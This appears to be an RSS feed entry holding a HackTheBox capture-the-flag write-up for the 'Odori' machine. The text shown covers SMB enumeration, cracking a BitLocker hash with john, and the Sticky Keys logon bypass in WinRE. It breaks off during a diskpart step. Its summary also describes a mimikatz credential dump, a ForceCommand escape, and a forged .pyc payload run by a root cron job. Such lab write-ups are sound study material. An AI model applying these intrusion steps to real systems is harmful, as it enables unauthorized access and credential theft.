<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Yogeshwar Peela</title>
    <description>The latest articles on DEV Community by Yogeshwar Peela (@exploitnotes).</description>
    <link>https://dev.to/exploitnotes</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3953474%2F44022a43-aec2-495f-9244-5a1e6ddc9e42.jpg</url>
      <title>DEV Community: Yogeshwar Peela</title>
      <link>https://dev.to/exploitnotes</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/exploitnotes"/>
    <language>en</language>
    <item>
      <title>HackTheBox: Odori Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sat, 17 Oct 2026 11:15:50 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-odori-writeup-4jei</link>
      <guid>https://dev.to/exploitnotes/hackthebox-odori-writeup-4jei</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Odori ships as an offline forensics box: the only live services are SSH and Samba, and an anonymously readable &lt;code&gt;backup&lt;/code&gt; share just points to a BitLocker-encrypted VMDK handed out with the machine. Cracking the BitLocker password with &lt;code&gt;bitlocker2john&lt;/code&gt; and rockyou unlocks the disk, but getting a usable account still means booting the VM into WinRE and swapping &lt;code&gt;sethc.exe&lt;/code&gt; for &lt;code&gt;cmd.exe&lt;/code&gt; to get a SYSTEM shell past the Windows logon with neither account's password known. From there, &lt;code&gt;mimikatz&lt;/code&gt; dumps NTLM hashes (a dead end against the Linux box's Samba) and then pulls a cleartext scheduled-task password for &lt;code&gt;svc_backup&lt;/code&gt; out of Credential Manager. That account can only SFTP into the Linux target - &lt;code&gt;ForceCommand&lt;/code&gt; blocks an interactive shell - but &lt;code&gt;/opt/restrict&lt;/code&gt; and &lt;code&gt;svc_backup&lt;/code&gt;'s &lt;code&gt;.ssh&lt;/code&gt; directory are both writable over SFTP, so overwriting the forced-command script gets a real &lt;code&gt;bash -i&lt;/code&gt;. User flag comes off before the shell escape. Root is a root cron job running &lt;code&gt;/opt/archiver/app.py&lt;/code&gt; every minute: a tar-argument-injection attempt against writable &lt;code&gt;/backup&lt;/code&gt; fails because each file gets its own &lt;code&gt;tar&lt;/code&gt; invocation, but &lt;code&gt;/opt/archiver/__pycache__/helper.cpython-310.pyc&lt;/code&gt; is writable by &lt;code&gt;svc_backup&lt;/code&gt;, so forging a &lt;code&gt;.pyc&lt;/code&gt; with a matching &lt;code&gt;(mtime, size)&lt;/code&gt; header and module-level payload code gets arbitrary code executed as root on the next cron tick, dropping a SUID root bash.&lt;/p&gt;

&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Reconnaissance&lt;/li&gt;
&lt;li&gt;Offline Disk Analysis&lt;/li&gt;
&lt;li&gt;Decrypting BitLocker and Booting the VM&lt;/li&gt;
&lt;li&gt;Credential Dumping (Windows)&lt;/li&gt;
&lt;li&gt;Gaining a Shell (Linux)&lt;/li&gt;
&lt;li&gt;User Flag&lt;/li&gt;
&lt;li&gt;Privilege Escalation&lt;/li&gt;
&lt;li&gt;Root Flag&lt;/li&gt;
&lt;li&gt;Attack Chain Summary&lt;/li&gt;
&lt;li&gt;Mitigations&lt;/li&gt;
&lt;li&gt;References&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.1 Nmap
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap-full.txt

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
| ssh-hostkey:
|   256 33:6a:5a:1f:35:95:4f:47:78:f4:5e:81:1b:ac:0e:af &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
|_  256 62:a0:e7:ec:de:21:8d:83:cd:72:cc:7b:fa:9f:7f:15 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   &lt;span class="nb"&gt;date&lt;/span&gt;: 2026-10-17T14:09:51
|_  start_date: N/A
|_nbstat: NetBIOS name: ODORI, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: &amp;lt;unknown&amp;gt; &lt;span class="o"&gt;(&lt;/span&gt;unknown&lt;span class="o"&gt;)&lt;/span&gt;
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: 1d00h08m40s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three open ports: 22 (OpenSSH), 139 and 445 (Samba). No web surface at all, so the SMB shares become the obvious next step.&lt;/p&gt;

&lt;h3&gt;
  
  
  1.2 SMB Enumeration
&lt;/h3&gt;

&lt;p&gt;Checked for null/guest SMB access before anything else:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
SMB   &amp;lt;machine-ip&amp;gt;   445   ODORI   &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Unix - Samba &lt;span class="o"&gt;(&lt;/span&gt;name:ODORI&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;domain:ODORI&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;signing:False&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;SMBv1:None&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Null Auth:True&lt;span class="o"&gt;)&lt;/span&gt;
SMB   &amp;lt;machine-ip&amp;gt;   445   ODORI   &lt;span class="o"&gt;[&lt;/span&gt;+] ODORI&lt;span class="se"&gt;\:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Null auth works, so shares can be enumerated anonymously:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;--shares&lt;/span&gt;
SMB   &amp;lt;machine-ip&amp;gt;   445   ODORI   Share           Permissions     Remark
SMB   &amp;lt;machine-ip&amp;gt;   445   ODORI   &lt;span class="nt"&gt;-----&lt;/span&gt;           &lt;span class="nt"&gt;-----------&lt;/span&gt;     &lt;span class="nt"&gt;------&lt;/span&gt;
SMB   &amp;lt;machine-ip&amp;gt;   445   ODORI   print&lt;span class="nv"&gt;$ &lt;/span&gt;                         Printer Drivers
SMB   &amp;lt;machine-ip&amp;gt;   445   ODORI   backup          READ            Server Backups
SMB   &amp;lt;machine-ip&amp;gt;   445   ODORI   IPC&lt;span class="nv"&gt;$ &lt;/span&gt;                           IPC Service &lt;span class="o"&gt;(&lt;/span&gt;odori server &lt;span class="o"&gt;(&lt;/span&gt;Samba, Ubuntu&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;backup&lt;/code&gt; is world-readable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbclient //&amp;lt;machine-ip&amp;gt;/backup &lt;span class="nt"&gt;-N&lt;/span&gt;
Try &lt;span class="s2"&gt;"help"&lt;/span&gt; to get a list of possible commands.
smb: &lt;span class="se"&gt;\&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
  &lt;span class="nb"&gt;.&lt;/span&gt;                                   D        0  Wed Jun 25 18:49:15 2025
  ..                                  D        0  Fri Apr 24 17:29:37 2026
  info.txt                            N       66  Wed Jun 25 18:48:44 2025

                7533016 blocks of size 1024. 2864352 blocks available
smb: &lt;span class="se"&gt;\&amp;gt;&lt;/span&gt; get info.txt
getting file &lt;span class="se"&gt;\i&lt;/span&gt;nfo.txt of size 66 as info.txt &lt;span class="o"&gt;(&lt;/span&gt;0.0 KiloBytes/sec&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;average 0.0 KiloBytes/sec&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;info.txt
Please download the .vmdk file linked &lt;span class="k"&gt;in &lt;/span&gt;the machine description.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A single hint file pointing away from the live target entirely - the actual entry point is an offline forensics exercise against a provided disk image, not a live network service.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Offline Disk Analysis
&lt;/h2&gt;

&lt;p&gt;The provided download is a large 7z archive (~19 GiB) containing a single &lt;code&gt;.vmdk&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;7z e odori.7z
7-Zip 26.01 &lt;span class="o"&gt;(&lt;/span&gt;x64&lt;span class="o"&gt;)&lt;/span&gt; : Copyright &lt;span class="o"&gt;(&lt;/span&gt;c&lt;span class="o"&gt;)&lt;/span&gt; 1999-2026 Igor Pavlov : 2026-04-27
Scanning the drive &lt;span class="k"&gt;for &lt;/span&gt;archives:
1 file, 19795590292 bytes &lt;span class="o"&gt;(&lt;/span&gt;19 GiB&lt;span class="o"&gt;)&lt;/span&gt;
Extracting archive: odori.7z
Enter password &lt;span class="o"&gt;(&lt;/span&gt;will not be echoed&lt;span class="o"&gt;)&lt;/span&gt;:
&lt;span class="nt"&gt;--&lt;/span&gt;
Everything is Ok

file file02.vmdk
file02.vmdk: VMware4 disk image
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.1 Sanity-checking the disk image
&lt;/h3&gt;

&lt;p&gt;Worth validating before spending time analyzing a 19 GiB file that might just be corrupted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;qemu-img info file02.vmdk
image: file02.vmdk
file format: vmdk
virtual size: 20 GiB &lt;span class="o"&gt;(&lt;/span&gt;21474836480 bytes&lt;span class="o"&gt;)&lt;/span&gt;
disk size: 18.7 GiB
cluster_size: 65536
Format specific information:
    cid: 3024510711
    parent cid: 4294967295
    create &lt;span class="nb"&gt;type&lt;/span&gt;: monolithicSparse

qemu-img check file02.vmdk
No errors were found on the image.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;monolithicSparse&lt;/code&gt; - single-file VMDK, no split extents to track down.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;parent cid: 4294967295&lt;/code&gt; (0xFFFFFFFF) - no parent/base disk. Standalone image, not a snapshot delta waiting on a missing base.&lt;/li&gt;
&lt;li&gt;Virtual size 20 GiB vs. 18.7 GiB on disk - consistent with what was extracted.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sha256sum &lt;/span&gt;file02.vmdk
e7b487e41937da6b6a5875867cf92a2c4f90bbcc32f61795c019e35f2db8a631  file02.vmdk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 Identifying the OS and filesystem layout
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;virt-filesystems &lt;span class="nt"&gt;--long&lt;/span&gt; &lt;span class="nt"&gt;-h&lt;/span&gt; &lt;span class="nt"&gt;--all&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; file02.vmdk
Name       Type        VFS   Label  MBR  Size  Parent
/dev/sda1  filesystem  vfat  -      -    96M   -
/dev/sda4  filesystem  ntfs  -      -    524M  -
/dev/sda1  partition   -     -      -    100M  /dev/sda
/dev/sda2  partition   -     -      -    16M   /dev/sda
/dev/sda3  partition   -     -      -    19G   /dev/sda
/dev/sda4  partition   -     -      -    524M  /dev/sda
/dev/sda   device      -     -      -    20G   -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;virt-ls &lt;span class="nt"&gt;-a&lt;/span&gt; file02.vmdk &lt;span class="nt"&gt;-m&lt;/span&gt; /dev/sda1 &lt;span class="nt"&gt;-R&lt;/span&gt; /
EFI
EFI/Boot/bootx64.efi
EFI/Microsoft/Boot/...
System Volume Information
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;EFI System Partition plus a Microsoft Boot Manager layout - this confirms a Windows guest. The large 19 GB &lt;code&gt;/dev/sda3&lt;/code&gt; partition (unidentified filesystem type to &lt;code&gt;virt-filesystems&lt;/code&gt;) is the OS volume, and turns out to be BitLocker-encrypted.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Decrypting BitLocker and Booting the VM
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Building the analysis VM
&lt;/h3&gt;

&lt;p&gt;VMware Workstation, custom build pointed directly at the extracted VMDK:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;File -&amp;gt; New Virtual Machine&lt;/code&gt; -&amp;gt; &lt;strong&gt;Custom (advanced)&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Hardware compatibility: default&lt;/li&gt;
&lt;li&gt;Guest OS install: &lt;strong&gt;"I will install the operating system later"&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Guest OS: Windows 10/11 x64 (closest match to the modern EFI bootloader seen earlier; refine later if it turns out to be Server)&lt;/li&gt;
&lt;li&gt;Name/location: anywhere with enough free space for VM config files (the VMDK stays referenced in place)&lt;/li&gt;
&lt;li&gt;CPU/memory: defaults&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network Type: Host-only&lt;/strong&gt; - set this now, before first boot, to keep the box isolated&lt;/li&gt;
&lt;li&gt;I/O controller / disk type: defaults&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Select a Disk -&amp;gt; Use an existing virtual disk&lt;/strong&gt; -&amp;gt; browse to &lt;code&gt;file02-working.vmdk&lt;/code&gt; (work on a copy, never the original). Accept any "needs to be converted" prompt only if required.&lt;/li&gt;
&lt;li&gt;Finish&lt;/li&gt;
&lt;li&gt;Before powering on: confirm Network Adapter is Host-only, and Hard Disk points at the working copy.&lt;/li&gt;
&lt;li&gt;Power on -&amp;gt; if prompted "did you copy or move this VM," choose &lt;strong&gt;I copied it&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Powering on this VM is where the BitLocker protection first became visible - the boot immediately stops at a password prompt instead of reaching a Windows logon screen.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Cracking the BitLocker hash
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;john&lt;/code&gt; ships a native BitLocker hash extractor, run back on the host against the original VMDK:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bitlocker2john &lt;span class="nt"&gt;-i&lt;/span&gt; file02.vmdk &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vm-hash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;vm-hash
Encrypted device file02.vmdk opened, size 19122MB
...
&lt;span class="nv"&gt;$bitlocker$0$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$.&lt;/span&gt;..
Hash &lt;span class="nb"&gt;type&lt;/span&gt;: User Password with MAC verification &lt;span class="o"&gt;(&lt;/span&gt;slower solution, no &lt;span class="nb"&gt;false &lt;/span&gt;positives&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$bitlocker$1$.&lt;/span&gt;..  Hash &lt;span class="nb"&gt;type&lt;/span&gt;: Recovery Password fast attack
&lt;span class="nv"&gt;$bitlocker$2$.&lt;/span&gt;..  Hash &lt;span class="nb"&gt;type&lt;/span&gt;: Recovery Password with MAC verification &lt;span class="o"&gt;(&lt;/span&gt;slower solution, no &lt;span class="nb"&gt;false &lt;/span&gt;positives&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$bitlocker$3$.&lt;/span&gt;..  Hash &lt;span class="nb"&gt;type&lt;/span&gt;: Recovery Password with MAC verification &lt;span class="o"&gt;(&lt;/span&gt;slower solution, no &lt;span class="nb"&gt;false &lt;/span&gt;positives&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt vm-hash
Note: This format may emit &lt;span class="nb"&gt;false &lt;/span&gt;positives, so it will keep trying even after finding a possible candidate.
Loaded 2 password hashes with 2 different salts &lt;span class="o"&gt;(&lt;/span&gt;BitLocker, BitLocker &lt;span class="o"&gt;[&lt;/span&gt;SHA-256 AES 32/64]&lt;span class="o"&gt;)&lt;/span&gt;
123456789        &lt;span class="o"&gt;(&lt;/span&gt;?&lt;span class="o"&gt;)&lt;/span&gt;
123456789        &lt;span class="o"&gt;(&lt;/span&gt;?&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;BitLocker password cracked: &lt;code&gt;123456789&lt;/code&gt;. Entering this at the VM's BitLocker prompt unlocks the volume and lets the boot continue - but it still doesn't give us a Windows account (&lt;code&gt;Administrator&lt;/code&gt; / &lt;code&gt;svc_backup&lt;/code&gt;) to log in as, since we still don't know either account's Windows password. For that, a privilege escalation path is needed once inside the guest.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.3 Bypassing the Windows logon with a recovery environment
&lt;/h3&gt;

&lt;p&gt;To get a SYSTEM-level shell without knowing either account's Windows password, boot into WinRE from an installation ISO and patch Sticky Keys.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attach the ISO&lt;/strong&gt; (VM powered off): &lt;em&gt;Settings -&amp;gt; CD/DVD (SATA) -&amp;gt; Use ISO Image file&lt;/em&gt; -&amp;gt; browse to a Windows installation ISO -&amp;gt; check &lt;em&gt;Connect at power on&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Boot to firmware and select the CD-ROM&lt;/strong&gt;: &lt;em&gt;Power On -&amp;gt; Power On to Firmware&lt;/em&gt; -&amp;gt; Boot Manager -&amp;gt; select &lt;code&gt;EFI VMware Virtual SATA CDROM Drive (1.0)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2x52pmz9g6bbrrn3k4rv.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2x52pmz9g6bbrrn3k4rv.jpeg" alt="Boot Manager"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The ISO's Windows Setup loads. Pick language/keyboard defaults and click Next:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgpquairjwq3e38kuj6x2.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgpquairjwq3e38kuj6x2.jpeg" alt="Windows Setup - language selection"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On the install screen, don't click Install now - use the recovery link in the bottom-left instead:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0mmcj5lnh6ttir0w58r1.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0mmcj5lnh6ttir0w58r1.jpeg" alt="Windows Setup - Repair your computer"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This drops into WinRE. Click &lt;strong&gt;Troubleshoot&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcb71ojy2qu45ii0a9qms.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcb71ojy2qu45ii0a9qms.jpeg" alt="Choose an option - Troubleshoot"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then &lt;strong&gt;Command Prompt&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F43s7bcms40g720pxvu3v.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F43s7bcms40g720pxvu3v.jpeg" alt="Advanced options - Command Prompt"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Identify and unlock the BitLocker volume from the recovery shell:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;X:\Sources&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;diskpart&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;DISKPART&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;volume&lt;/span&gt;&lt;span class="w"&gt;

  &lt;/span&gt;&lt;span class="n"&gt;Volume&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;###  Ltr  Label        Fs     Type        Size     Status     Info&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="o"&gt;----------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-----------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-----&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;----------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;---------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;--------&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Volume&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;D&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;ESD-ISO&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;UDF&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;DVD-ROM&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;4667&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;Healthy&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Volume&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nx"&gt;Unkno&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Partition&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;19&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;GB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;Healthy&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Volume&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;2&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nx"&gt;FAT32&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Partition&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;Healthy&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;Hidden&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Volume&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;3&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nx"&gt;NTFS&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nx"&gt;Partition&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;524&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;Healthy&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;Hidden&lt;/span&gt;&lt;span class="w"&gt;

